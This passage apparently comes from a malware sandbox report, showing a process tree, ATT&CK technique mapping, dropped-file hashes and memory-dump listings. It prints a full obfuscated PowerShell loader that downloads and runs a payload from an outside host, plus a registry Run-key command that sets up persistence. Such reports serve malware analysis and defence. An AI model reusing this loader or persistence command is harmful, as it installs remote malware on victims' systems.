        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4744
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\belemnoidea.Fos && echo t"
        7⤵
        
        PID:1092
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Commixed Stines Androcratic Bertolonia Bestemmelsesstedets Compunct Tydelighed Afdelingsingenirs183 Dorte103 Antiksamlingen Undivisiveness255 Lienectomies Unpreying Pantets Photometrically Pyorrheas luske bortskaffelserne Trassenters Localizations Brumstone Citronsommerfuglens Dikamalli Amebocyte Commixed Stines Androcratic Bertolonia Bestemmelsesstedets Compunct Tydelighed Afdelingsingenirs183 Dorte103 Antiksamlingen Undivisiveness255 Lienectomies Unpreying Pantets Photometrically Pyorrheas luske bortskaffelserne Trassenters Localizations Brumstone Citronsommerfuglens Dikamalli Amebocyte';$Stileemnets = 1;Function Alert($Catoptrical){$Dispropriate=$Catoptrical.Length-$Stileemnets;$Cohesions='SUBSTRIN';$Cohesions+='G';For( $Kaliumklorider=1;$Kaliumklorider -lt $Dispropriate;$Kaliumklorider+=2){$Commixed+=$Catoptrical.$Cohesions.Invoke( $Kaliumklorider, $Stileemnets);}$Commixed;}function Xylografien($Disharmoner){ . ($Dragemanden) ($Disharmoner);}$Cigale=Alert 'PMSomzUiRlBlOaA/B5.. 0S b(TW iSnAdVoUwCsG .NrT 1 0D.S0 ;P .WsiOnX6U4N;, .x 6L4C; r,vF:.1 2T1 . 0B)O BG,ePc k o,/ 2U0 1T0u0S1A0N1. SF.i.rme f,o xD/ 1M2F1 .,0 ';$belieffulness=Alert ' U sHeFr.-TAtg eTnGtP ';$Bestemmelsesstedets=Alert ' hKt.t pHs : / / e.v,oMl.uBxGcFoTnWt.aEbSi.l iFd aEd e .,cKo ml. b rO/.x l oKaAd /FRPuHm nSe r . xot pT ';$Voldtog=Alert 'K>N ';$Dragemanden=Alert ' iGecx, ';$Sydvestenvinds='Afdelingsingenirs183';$Anglisterne = Alert ' eAcAh o %QaVpSpEdKa tGaP%o\BbCeElSe m nPo.iSdBeMaI.OF o,s, ,& & PeDc hPod t ';Xylografien (Alert 'D$ gKl oTbBa lS: FTo r r.eBtAn i,nUg sIocmIr,aUaFdBefr =B( c.mDd. / cB ,$AA nCg l,itsKt e,r nDe ) ');Xylografien (Alert '.$bg.lCo,b aKlQ:HBJe,rBtHo.lKo nDi.a =G$ B e s t,e mKm eKlSs eCsHsSt eOd,e tBs,. sUpSlNi tP(R$,V o.l d tEo gU)R ');Xylografien (Alert ' [ NOe tZ.LS eIr.vBiAc.eSP oCi,n tcMoa.n.aagIeer ]P:D:,S ePc u.rSiot.y PfrPo tFo c,o lB C=, B[HN e t..ESBe cSuSrFiStkyBPjr,o,t.o,cRo lUT y.p,eA] : :DT.lFsM1 2. ');$Bestemmelsesstedets=$Bertolonia[0];$Ghoulishness= (Alert 'S$LgPlUoRb.a.l.:AS.kMo v hSyPt t eSn 9.8.= NUe.wR- O.bAjTeBc t, S y sBt,ePm . NAeTt . WLe b C l.i eKnPt');$Ghoulishness+=$Forretningsomraader[1];Xylografien ($Ghoulishness);Xylografien (Alert '.$ STk o v.hBy t.tKe nS9.8U..HFeHa d ePrBsG[G$DbCe,l.iSe fMf,uLl nHeAsHs.].= $ Cpi g a.lSeS ');$Jacuaru=Alert 'S$ S,kBo vTh,yFt.t eUn,9 8F.UD,o.wfnNl.o,afdTF.iRl,e (C$RBTeAsVtLe m,mTeDl s e sosst eKdBe.tBs ,D$KC iTtTrmoUnNsAo m,m e,r fGuSgElMe n sI). ';$Citronsommerfuglens=$Forretningsomraader[0];Xylografien (Alert ' $SgUl,o b a.l : L,aTv.eInGdUe lSeTn =B(MT e sAtO-IPVa.tIhB B$FCBiPtSr oHngsBoSmIm.ePrPfLuFg.l.ePn sG) ');while (!$Lavendelen) {Xylografien (Alert ' $tg l,oCb,aOl :,DSuPbbl,eJe.r n eR= $NtDrSureF ') ;Xylografien $Jacuaru;Xylografien (Alert ' S tPaMrKtN- SBl e e ps ,4. ');Xylografien (Alert 'C$Dg.l oEb a lH: LPaDv eTn dieGl eOnd=P(.TOe sDtP- P.aStph B$FCFi t rDo.nUs,okmCm ePrPfYugg lAe,n sS)U ') ;Xylografien (Alert 'I$Gg.lboNbMa l :aAHn,dHr.oEcKrHa tOi.cO=A$Sg l oSb a lJ:kSCt,iAn ePsD+ +s%U$ BVeUrHtAo,l oDn,i a ..c oHu n tS ') ;$Bestemmelsesstedets=$Bertolonia[$Androcratic];}$Nonapprehensibility=372684;$Phytin=25966;Xylografien (Alert 'F$ gPl oSb a l :kD onr.t.eM1 0 3 R= FGBe tD-,C.oPnItJeLnFt. S$ C i tFr o nDsKoUm mFe r f.uBgul,eKn s ');Xylografien (Alert 'U$ gAl.oPb.aHl :HEGmFaKnscSi,pBaQtBe B=l [DSDyPsStDeSmH. CsoOnTvLeFr t,]N:B:.FSr,o,m,B a s.e,6u4RS.tNrsi,nagA(W$ DRo r t e 1H0 3S), ');Xylografien (Alert 'I$Bg lSoIbNaBl : L,iTeLnPeCcCtmoSmSiPeRsK =. .[SS yVs t,eIm..VTYe x tS. E,n c,o dIi n g ],:.: A,SOCNIPIM.BGAe,t SItHr i n g (,$UE mBa n cPiRp.aBtDeS)A ');Xylografien (Alert ' $ gPl.ombTaVl.:.SPk rov e b.e lSg nSiMn g e nF= $ L i.e,nae cEtPoSmPi eksA.GsCu b,s tCr i.nOgK(T$bNBoBnDaHpPp rPe hSe.n.sdiAb,i lMi tAy.,,$ PHh yVtBiLn )E ');Xylografien $Skrvebelgningen;"
        7⤵
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4472
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\belemnoidea.Fos && echo t"
        8⤵
        
        PID:528
        
        C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe"
        8⤵
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1332
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Rollingerne" /t REG_EXPAND_SZ /d "%Montuvio% -w 1 $Lkapsler=(Get-ItemProperty -Path 'HKCU:\overdeferential\').retoucheres;%Montuvio% ($Lkapsler)"
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:4520
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Rollingerne" /t REG_EXPAND_SZ /d "%Montuvio% -w 1 $Lkapsler=(Get-ItemProperty -Path 'HKCU:\overdeferential\').retoucheres;%Montuvio% ($Lkapsler)"
        10⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3912

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4356,i,5047420736443372512,9747851268033796534,262144 --variations-seed-version --mojo-platform-channel-handle=3856 /prefetch:8
1⤵
PID:388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

09B406FB8A13DE24E07EA97DC21FE315

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\09B406FB8A13DE24E07EA97DC21FE315
Size 504B
SHA256 2d775df3e298eca8eea960c3a3ceaa0f055977ef26eb16ec36dc443a8243c49b
MD5 acde2ebd73bf401c166d86a7e31406b0
SHA1 2ded266e34831ec8ba306a323424dd9209c49c59
SHA512 18e3fa8c897cdb13ac76e06431dcf8a45d83438b296635c47b3f55d8a5b626fb54e8fcce05067fba415846d2652c14a4c1c194ec3878093713ab8e693b3a6d9b
MD5 SHA1 SHA512

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
Size 717B
SHA256 af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9
MD5 822467b728b7a66b081c91795373789a
SHA1 d8f2f02e1eef62485a9feffd59ce837511749865
SHA512 bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6
MD5 SHA1 SHA512

Submit Download

09B406FB8A13DE24E07EA97DC21FE315

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\09B406FB8A13DE24E07EA97DC21FE315
Size 546B
SHA256 b823d3f38d0f3e09a1c598d448c75c631d6b4c0f98f6e367b62adc5c4e7e59ba
MD5 8a89640ccae6b660533496b7a30ee9ea
SHA1 6385e039eb3e0c7cfa95d818050af58650d47743
SHA512 75536f732bf02d265bb077c3a711a4bd6cfca36ae155d54555c5056a6bad969185eaf43f4f5db2e2905b4b121eff2ab95d05854c6f29cc441a74189f045418ba
MD5 SHA1 SHA512

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Size 192B
SHA256 b589f15a8eb47b9899e9758ed3dd461527eb849b7a39203aa68a4447aa278451
MD5 d269426174f04006c35cbe5335a5a9ca
SHA1 9a0f65cd34de6218cec842d17bc4fdce12ee5a40
SHA512 54db85a43fea82ab0dbda9124c073be329625a1779817108e655569783bcf74e1452b7e57b6582c642165b5113d12b579836a95cac4d6790e40a598914ec9290
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0
MD5 d4d8cef58818612769a698c291ca3b37
SHA1 54e0a6e0c08723157829cea009ec4fe30bea5c50
SHA512 f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6
SSDEEP 1536:q5C+jH04tAHkCSMrxyNhftflJdPYodV3CNBQkj20LUsszyhMUp7Fv+Eca5b/h4ie:KC+jH04tAHk5MrxyNhftflJdPYodV3CQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cd2c977928e78b2d39bba8a726308f17b2946ea3f1a432de209720f691450713
MD5 806286a9ea8981d782ba5872780e6a4c
SHA1 99fe6f0c1098145a7b60fda68af7e10880f145da
SHA512 362df97f9fc9c2f546538814cd0402a364a286326219f03325f8cbd59d33f9d850c26daf42230f0bb4feb7e5134868a51e7a3d2f5bc136fe3de69d5d82c5ae2e
MD5 SHA1 SHA512

Submit Download

Poodle.vbs

Path C:\Users\Admin\AppData\Local\Temp\Poodle.vbs
Size 187KB
SHA256 7dfd8c4c8c675118ad9020c10d439d7037b6d9e8a37482f80ae821fed5b29824
MD5 8cc6be5a2911ea3dc1a05c80e20ede55
SHA1 5a68267614fc4f21b949dc82def16adb1a2a7178
SHA512 cc57268ceca2b9911b1672d18692dca2bfcb65052c8b945614f766e66ed849bf8f14aa9076f7478026144f89995c1552ac596153bde157349bcca880094a264a
SSDEEP 3072:omN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZG:o08GxbKja3+DCbKCvBB/WnHXC/sLJFJR
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_preanhio.riv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_preanhio.riv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

pcuntjdknjogrlbfqkxxiccwy

Path C:\Users\Admin\AppData\Local\Temp\pcuntjdknjogrlbfqkxxiccwy
Size 4KB
SHA256 2967c8bcad47ab6cb88bf5b60a3a75b49f471a943d33c9b69aa7bfe1b763cfd2
MD5 91227a2f05c7f74f6ebd1535a3f05b7b
SHA1 1ce317a272d67e3ac284948e49e6bc0acaee2e6d
SHA512 9ff9f6d2fb2880812fce42b91388e8b825483bb2df0976b9c630c397fed68f3625f4ba32d65933de0018b6e18554315152a1df00c98313d19612403076079a40
SSDEEP 48:wvvv0IxfvvcIxfdvv0IxBvv0Ixakvv0I7:mvRxvZp1vRPvRbvR7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Rytmen.Fae

Path C:\Users\Admin\AppData\Roaming\Rytmen.Fae
Size 534KB
SHA256 af008bfc605891eaaa3fef3579104b8eba30f9a19987b74c8a53287c90e6eb9e
MD5 ce3d065bfc4261060ddfc8dca15898a4
SHA1 b67f3aafe00ccb2ca051cdd2559ff918eb5e2d03
SHA512 03117174da97241f57f65cc6124e4e5baff6d72b64048fce560bedc7049dc39f3cb8d7501f7d526e89d2c95a090398478b043682955820be7a6460bafb32bd17
SSDEEP 12288:uO2zM83SXhcaRqSGJ+UBu0fyWjAknOl0LjL:WzMOSRcOqtJ+UBpfhN
MD5 SHA1 SHA512 SSDEEP

Submit Download

belemnoidea.Fos

Path C:\Users\Admin\AppData\Roaming\belemnoidea.Fos
Size 519KB
SHA256 6b8159ea57129f319affa7fa8ca8a74bb1e59894e7c269675df3f65b3c5e3887
MD5 9cc29e9c2f524984e4ea412888fad3ab
SHA1 a3d9571861e7f334d70d82eb0c46e10f5427358e
SHA512 d5761c80074c464327e346f2c89daed8de0691cc7d60140648f94c3d45232c035cebde895234118480abf6cdad4e187fcfb5fdd393aace83a52df62b4a493396
SSDEEP 6144:8wnLTbGvJlQzR9WNhkJFnfU0Ov8gUD6VGBawboOY++idZjWfzGPIGDRdByVaGtVA:8wnLHqWREcJNtFsDOFd51fHZXH
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1332-133-0x0000000000C40000-0x0000000006785000-memory.dmp

Download

memory/1332-123-0x0000000000C40000-0x0000000006785000-memory.dmp

Download

memory/2104-87-0x0000000020570000-0x0000000020589000-memory.dmp

Download

memory/2104-88-0x0000000020570000-0x0000000020589000-memory.dmp

Download

memory/2104-84-0x0000000020570000-0x0000000020589000-memory.dmp

Download

memory/2104-52-0x0000000002350000-0x0000000003AF4000-memory.dmp

Download

memory/2400-71-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2400-70-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2400-66-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2504-64-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2504-60-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2504-61-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/3100-36-0x0000000007D10000-0x000000000838A000-memory.dmp

Download

memory/3100-22-0x0000000005D90000-0x0000000005DF6000-memory.dmp

Download

memory/3100-35-0x0000000006440000-0x000000000648C000-memory.dmp

Download

memory/3100-42-0x0000000008EF0000-0x000000000A694000-memory.dmp

Download

memory/3100-19-0x0000000002B10000-0x0000000002B46000-memory.dmp

Download

memory/3100-20-0x0000000005760000-0x0000000005D88000-memory.dmp

Download

memory/3100-21-0x0000000005560000-0x0000000005582000-memory.dmp

Download

memory/3100-37-0x00000000069A0000-0x00000000069BA000-memory.dmp

Download

memory/3100-38-0x0000000007730000-0x00000000077C6000-memory.dmp

Download

memory/3100-40-0x0000000008940000-0x0000000008EE4000-memory.dmp

Download

memory/3100-39-0x0000000006AA0000-0x0000000006AC2000-memory.dmp

Download

memory/3100-34-0x0000000006400000-0x000000000641E000-memory.dmp

Download

memory/3100-23-0x0000000005E00000-0x0000000005E66000-memory.dmp

Download

memory/3100-33-0x0000000005E70000-0x00000000061C4000-memory.dmp

Download

memory/3840-65-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3840-62-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3840-63-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4308-16-0x00007FF8297F0000-0x00007FF82A2B1000-memory.dmp

Download

memory/4308-55-0x00007FF8297F0000-0x00007FF82A2B1000-memory.dmp

Download

memory/4308-45-0x00007FF8297F0000-0x00007FF82A2B1000-memory.dmp

Download

memory/4308-43-0x00007FF8297F3000-0x00007FF8297F5000-memory.dmp

Download

memory/4308-4-0x00007FF8297F3000-0x00007FF8297F5000-memory.dmp

Download

memory/4308-15-0x00007FF8297F0000-0x00007FF82A2B1000-memory.dmp

Download

memory/4308-5-0x000001DE5A810000-0x000001DE5A832000-memory.dmp

Download

memory/4472-116-0x0000000009310000-0x000000000EE55000-memory.dmp

Download

memory/4744-99-0x0000000006280000-0x00000000065D4000-memory.dmp

Download

memory/4744-101-0x00000000067B0000-0x00000000067FC000-memory.dmp

Download